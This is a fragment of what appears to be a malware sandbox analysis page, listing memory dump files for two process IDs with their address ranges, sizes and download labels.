memory/1912-85-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/1912-86-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/1912-87-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/1912-88-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/3064-80-0x000000013F560000-0x000000013FAD6000-memory.dmp

Filesize
5.5MB

Download